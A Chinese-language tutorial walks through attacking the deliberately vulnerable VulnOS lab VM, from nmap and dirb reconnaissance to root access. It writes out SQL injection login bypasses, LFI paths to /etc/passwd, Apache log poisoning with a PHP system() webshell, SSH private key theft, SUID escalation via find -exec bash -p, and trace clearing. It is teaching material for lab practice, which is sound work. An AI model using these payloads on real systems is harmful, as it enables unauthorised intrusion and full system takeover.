VulnOS靶场实战:从SQL注入到权限提升的完整渗透测试指南
1. 项目概述:为什么VulnOS是渗透测试的“必修课”?
如果你刚接触网络安全,或者想从理论转向实战,那么“靶场”这个词你一定不陌生。它就像网络安全领域的“模拟驾驶舱”,让你在一个安全、合法的环境里,练习各种攻击和防御技术,而不用担心触犯法律或造成实际损害。在众多靶场中,VulnOS 绝对是一个绕不开的名字,它被很多老鸟称为“渗透测试的必练靶场”,这可不是空穴来风。
我第一次接触VulnOS是在几年前,当时为了准备一个认证考试,需要大量实操。市面上靶场五花八门,有的太简单,像做选择题;有的又太复杂,像直接扔给你一个真实企业网络,让人无从下手。VulnOS 恰好卡在了一个黄金平衡点上:它模拟了一个相对完整的、存在多个漏洞的Linux系统,从信息收集、Web渗透到权限提升,几乎覆盖了渗透测试的经典流程。更重要的是,它的漏洞设计非常“教科书”,没有太多花里胡哨的混淆,能让你清晰地理解每一种攻击手法的原理和利用条件。这就像学武术,你得先扎好马步、练好标准拳法,才能去应对复杂的实战。VulnOS就是那个帮你打好基础的“马步”。
对于新手来说,它能帮你建立完整的渗透测试思维;对于有经验的人来说,它可以作为检验基础技能是否扎实的试金石。接下来,我会结合自己多次通关的经验,从安装部署到核心漏洞详解,带你完整地走一遍VulnOS,分享那些官方文档里不会写的细节和踩过的坑。
2. VulnOS靶场详解:核心漏洞与攻击路径拆解
VulnOS 靶场模拟了一个名为“Jarbas”的用户的个人服务器。整个渗透过程可以清晰地划分为几个阶段,这本身就是一种很好的学习框架。下面我们来拆解它的核心设计思路和攻击面。
2.1 整体环境与设计思路
VulnOS 本质上是一个运行在虚拟机里的Linux系统(基于Ubuntu)。它预装并配置了多个存在漏洞的服务,最核心的是一个自定义的Web应用。靶场的最终目标是获取系统的最高权限(root shell)。它的设计巧妙之处在于,漏洞链环环相扣,你需要像侦探一样,将发现的碎片信息(线索)串联起来,一步步深入。
典型的攻击路径是这样的:
- 信息收集:发现目标IP和开放端口,识别运行的服务(如HTTP, SSH)。
- Web渗透:这是主战场。通过网站漏洞(如SQL注入、文件包含)获取Web服务器的访问权限,或者直接拿到数据库中的敏感信息(如用户密码哈希)。
- 权限提升:利用Web漏洞获得的立足点(比如一个低权限的Web Shell),结合系统层面的配置错误或内核漏洞,将权限从普通用户(如
www-data)提升到jarbas用户,最终提升到root。
这个路径模拟了从外部攻击到内部横向移动/提权的经典场景,非常贴近中级难度的真实渗透测试。
2.2 核心漏洞点深度解析
VulnOS 包含了多个经典漏洞,我们逐一来看其原理和利用的关键。
1. SQL注入(登录绕过与数据泄露)这是最常见的入口点之一。靶场的Web登录界面存在SQL注入漏洞。漏洞原理是,后端代码直接将用户输入拼接进SQL查询语句,没有进行任何过滤或参数化处理。 例如,登录的查询可能是:SELECT * FROM users WHERE username='$user' AND password='$pass'。 通过注入' OR '1'='1到用户名字段,查询就变成了:SELECT * FROM users WHERE username='' OR '1'='1' AND password='xxx'。由于'1'='1'永远为真,这条查询就可能返回数据库中的用户记录,从而实现“无密码”登录。
实操心得:遇到登录框,先尝试最简单的
'单引号,看是否有报错信息。VulnOS的注入点比较明显,使用admin' --(注意末尾空格)通常可以直接绕过。使用sqlmap工具可以自动化这个过程,但手动理解payload的构造对于学习至关重要。
2. 本地文件包含(LFI)与日志投毒登录系统后,你可能会发现某些页面通过参数来包含文件,例如page=../../../../etc/passwd。这就是本地文件包含漏洞,允许攻击者读取服务器上的任意文件。 更高级的利用是“日志投毒”。Apache等Web服务器的访问日志(如/var/log/apache2/access.log)会记录每一个请求,包括User-Agent头。如果我们可以向日志中写入PHP代码(通过修改User-Agent),再通过LFI漏洞去包含这个日志文件,服务器就会执行我们写入的PHP代码,从而获得一个Web Shell。
注意事项:LFI读取文件时,可能会遇到路径遍历限制。需要尝试不同的层级
../数量。日志投毒时,要确保写入的PHP代码是完整的<?php system($_GET[‘cmd’]);?>形式,并且通过LFI包含时,日志文件能被PHP解析器处理(有时需要额外参数或特定姿势)。
3. 系统配置错误与SUID提权通过Web Shell,我们通常以www-data用户身份执行命令。下一步是提权到普通用户jarbas。这里常常利用的是配置错误,例如jarbas用户的家目录权限设置不当,www-data可以读取其SSH私钥,或者某个由jarbas运行的定时任务(cron job)可以被我们写入或影响。 获得jarbas权限后,向root提权是最后一步。VulnOS 经典的一招是利用配置错误的SUID(Set User ID)二进制文件。SUID文件在执行时,会以文件所有者的权限运行。如果root拥有的某个程序(如/bin/bash的某个自定义副本、或者像nmap这样的工具)被设置了SUID位,并且功能可以被我们滥用,我们就能借此获得一个rootshell。 一个经典的例子是,如果nmap旧版本(交互模式)被设置了SUID,我们可以在nmap交互模式中执行!bash来逃逸到一个shell,而这个shell将继承nmap的root权限。
排查技巧:拿到任何用户权限后,第一件事就是运行
find / -perm -u=s -type f 2>/dev/null这条命令,查找所有SUID文件。然后逐一研究这些不常见的、属于root的SUID文件,搜索其已知的提权方法。
3. 从零开始:VulnOS靶场安装与环境配置指南
工欲善其事,必先利其器。一个稳定的实验环境是成功的第一步。这里我提供两种主流的安装方法,并详细说明网络配置的坑点。
3.1 虚拟机安装与网络模式选择
VulnOS 的镜像文件(通常是.ova或.vmdk格式)可以从 VulnHub 官网免费下载。我强烈建议使用VMware Workstation Pro或VirtualBox来运行它。
步骤一:导入虚拟机
- 下载完成后,如果是
.ova文件,直接在VMware或VirtualBox中选择“文件”->“打开”,导入该文件。 - 导入后,不要急着启动。先检查虚拟机的设置。
步骤二:关键的网络配置(避坑重点)这是新手最容易出问题的地方。靶场需要与你的攻击机(通常是Kali Linux)通信。
- 桥接模式:虚拟机会像一台真实设备一样接入你的物理网络,会从你的路由器获取一个IP地址(如192.168.1.x)。优点是攻击机(无论物理机还是虚拟机)只要在同一局域网,都能访问靶机。缺点是需要路由器环境,在纯笔记本移动场景可能不稳定。
- NAT模式:虚拟机共享主机的IP地址上网,对外不可见。默认的NAT模式,你的攻击机(Kali)无法直接访问靶机。
- Host-Only模式:虚拟机和主机之间形成一个封闭的私有网络,虚拟机无法上外网,但可以和主机通信。
推荐方案:使用VMware的“自定义”网络我个人的最佳实践是,在VMware中创建一个自定义的VMnet网络(例如VMnet2),将攻击机(Kali)和靶机(VulnOS)的网络适配器都设置为这个VMnet2。
- 在VMware的“编辑”->“虚拟网络编辑器”中,添加一个网络(如VMnet2),类型选择“仅主机模式”。
- 将Kali和VulnOS虚拟机的网络适配器都设置为“自定义”,并选中刚才创建的VMnet2。
- 这样,两台虚拟机就处于一个与主机隔离的、纯粹的内部网络中,可以互相通信,且不受外部网络干扰,是最稳定的实验环境。
步骤三:启动与初始发现启动VulnOS虚拟机。它通常会直接启动到登录界面。你不需要知道登录密码,因为我们的目标就是通过渗透找到它。此时,你需要确定靶机的IP地址。 在VulnOS的登录界面,按Ctrl + Alt + F2(在VMware中可能需要按Ctrl + Alt + Insert然后按F2)切换到命令行终端。使用ifconfig或ip addr show命令查看IP地址。记下这个IP(例如192.168.xxx.xxx)。
3.2 攻击机环境准备(以Kali为例)
你的攻击机,我假设使用Kali Linux。
- 更新与基础工具:首先
sudo apt update && sudo apt upgrade -y确保工具最新。 - 关键工具确认:确保安装了
nmap,sqlmap,nikto,dirb,metasploit-framework等。通常Kali默认都有。 - 网络连通性测试:在Kali终端里,
ping <靶机IP>。如果能通,说明网络配置成功。这是后续所有步骤的基础,务必先确认。
4. 手把手渗透实战:分阶段攻破VulnOS
现在,我们假设靶机IP是192.168.56.105,攻击机Kali的IP是192.168.56.104。让我们开始一次完整的“模拟攻击”。
4.1 第一阶段:信息收集与侦察
信息收集是渗透的“眼睛”,决定了你从哪个方向进攻。
主机发现与端口扫描:
# 使用nmap进行快速扫描,识别开放端口 nmap -sS -T4 192.168.56.105-sS是SYN半开放扫描,速度快且相对隐蔽。-T4指定扫描速度。你会看到类似以下结果:PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6667/tcp open irc这表明靶机开放了SSH(22)、HTTP(80)和一个IRC服务(6667)。Web服务(80端口)通常是最主要的攻击面。
服务与版本探测:
# 对开放的端口进行更详细的版本探测 nmap -sV -sC -p 22,80,6667 192.168.56.105-sV探测服务版本,-sC运行默认的Nmap脚本。这会告诉你Apache的版本、PHP版本等,有助于寻找已知漏洞。Web目录枚举:
# 使用dirb或gobuster寻找隐藏的目录和文件 dirb http://192.168.56.105 /usr/share/wordlists/dirb/common.txt或者使用更快的
gobuster:gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt这个步骤可能会发现
/admin,/phpmyadmin,/test等关键路径。
4.2 第二阶段:Web应用渗透与突破
访问http://192.168.56.105,你会看到一个简单的网站。这就是我们的主战场。
手动测试SQL注入: 寻找登录框、搜索框。在登录的用户名处尝试输入:
admin' --。如果成功登录后台,证明存在SQL注入。你也可以使用sqlmap进行自动化验证和利用:sqlmap -u "http://192.168.56.105/login.php" --data="username=admin&password=test" --level=3 --risk=2--data指定POST参数,--level和--risk提高测试等级。利用LFI漏洞: 登录后台后,注意URL参数。常见的参数名如
page,file,load。尝试修改它:http://192.168.56.105/index.php?page=../../../../etc/passwd。如果成功显示了系统用户列表,则LFI存在。日志投毒获取Shell: a. 首先,用Burp Suite或浏览器插件,向靶机发送一个请求,并将User-Agent头修改为PHP代码:User-Agent: <?php system($_GET['cmd']);?>b. 然后,通过LFI漏洞包含Apache的访问日志(常见路径/var/log/apache2/access.log):http://192.168.56.105/index.php?page=../../../../var/log/apache2/access.log&cmd=id如果页面返回了uid=33(www-data) gid=33(www-data) ...,恭喜你,命令执行成功了。你可以将cmd参数的值换成其他命令,如whoami,pwd。建立稳定的Web Shell: 命令执行成功了,但每次都要带参数很麻烦。我们可以写一个简单的PHP Webshell到网站目录。
# 通过命令执行,用echo写入一个shell文件 http://192.168.56.105/index.php?page=../../../../var/log/apache2/access.log&cmd=echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php然后直接访问
http://192.168.56.105/shell.php?c=id,就能执行命令。这样就获得了一个简单的反向Shell或Web交互界面。
4.3 第三阶段:权限提升之路
现在我们已经以www-data用户身份在系统上执行命令了。目标是root。
横向移动到jarbas用户:
- 检查jarbas家目录:
ls -la /home/jarbas/。看看是否有.ssh目录,里面是否有id_rsa(私钥)。如果有且可读,可以复制到Kali,用chmod 600 id_rsa修改权限后,直接ssh -i id_rsa jarbas@192.168.56.105登录。 - 检查计划任务:
cat /etc/crontab或crontab -l(如果允许)。看是否有以jarbas身份运行的定时任务,并且任务中的脚本或路径是否可写。 - 检查数据库密码复用:之前SQL注入可能拿到了数据库密码。有些管理员会在不同服务复用密码。尝试
su jarbas,然后输入数据库密码看看。
- 检查jarbas家目录:
从jarbas到root(SUID提权): 登录
jarbas后,立即查找SUID文件:find / -perm -u=s -type f 2>/dev/null | grep -v '/proc\|/sys'仔细查看列表。一个常见的可疑文件可能是
/usr/bin/xxxx(这里xxxx代表某个不常见的工具)。搜索这个文件名+“SUID privilege escalation”,通常能在GTFOBins这个网站上找到利用方法。 例如,假设发现/usr/bin/find有SUID位(VulnOS里不一定是这个,只是举例),可以利用:/usr/bin/find . -exec /bin/bash -p \;这里的
-p参数会让bash保留SUID赋予的高权限,从而得到一个rootshell。执行whoami确认是否为root。
5. 常见问题、排查技巧与深度优化
在实际操作中,绝不会一帆风顺。下面是我总结的一些典型问题及其解决方法。
5.1 网络与连接问题
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| Kali ping不通靶机 | 虚拟机网络模式设置错误 | 确保两者在同一网络(如都设为VMnet2)。关闭防火墙(sudo ufw disable在靶机或Kali上)。 |
| 能ping通但无法访问Web | 靶机Web服务未启动 | 到靶机终端检查sudo systemctl status apache2。尝试重启sudo systemctl restart apache2。 |
| 扫描不到80端口 | 靶机IP地址变更 | 重启靶机,在终端再次用ip addr确认IP。 |
| 虚拟机运行卡顿 | 分配资源不足 | 为VulnOS分配至少1GB内存和双核CPU。关闭不必要的宿主程序。 |
实操心得:永远先检查网络。我的习惯是,在启动任何渗透步骤前,先在Kali上
arp-scan -l扫描整个网段,确认靶机的MAC地址和IP确实在线。这比单纯ping更可靠。
5.2 漏洞利用失败分析
- SQL注入payload无效:可能是过滤了空格或某些关键词。尝试用注释符
/**/代替空格,或者用大小写、双写绕过。例如UNION写成UnIoN或UNunionION。用sqlmap的--tamper参数尝试各种绕过脚本。 - LFI读取不到
/etc/passwd:可能是路径深度不对或存在过滤。尝试不同的../数量,或者使用绝对路径/etc/passwd。有时需要URL编码,如..%2f..%2f。还可以尝试PHP的封装器,如php://filter/convert.base64-encode/resource=/etc/passwd来读取文件内容。 - 日志投毒不执行:首先确认日志路径是否正确(可能是
/var/log/httpd/access_log)。其次,查看日志文件内容,确认我们的恶意User-Agent是否被正确写入(sudo tail -f /var/log/apache2/access.log)。最后,有些环境需要额外的技巧才能让LFI执行日志中的PHP代码,比如通过include()包含时,需要确保日志文件以.php后缀被解析,这可能需要在请求中添加?等字符。
5.3 渗透后的清理与学习延伸
拿到root权限并不是终点。一个负责任的渗透测试者(或学习者)还需要:
- 清理痕迹:删除上传的Webshell文件(如
/var/www/html/shell.php),清除命令历史(history -c并清空~/.bash_history)。 - 复盘总结:画出整个渗透路径的流程图,标明每个漏洞点、利用工具和关键命令。问自己:有没有其他路径?那个IRC服务(6667端口)我探索了吗?如果第一步的SQL注入被修复了,我还有别的入口吗?
- 尝试其他方法:用Metasploit框架从头到尾自动化完成一次渗透。对比手动和自动的差异,理解框架背后的原理。
- 搭建自己的变种:在虚拟机里,尝试手动修改VulnOS的某个漏洞(比如修补SQL注入),然后再次尝试攻击,看看你的绕过技巧是否有效。这是将知识内化的最佳方式。
VulnOS的价值在于它提供了一个近乎完美的“训练场”。它没有最新的0day漏洞,但涵盖了最基础、最核心的攻防原理。把这些基础打牢,形成肌肉记忆和条件反射,当你面对更复杂、更隐蔽的现代靶场或真实环境时,才能快速抓住重点,拆解问题。我建议至少完全手动通关三遍,每一遍尝试不同的攻击路径和提权方法,直到你觉得整个过程行云流水,遇到问题能自己独立排查。这时候,你的渗透测试基本功才算真正入门了。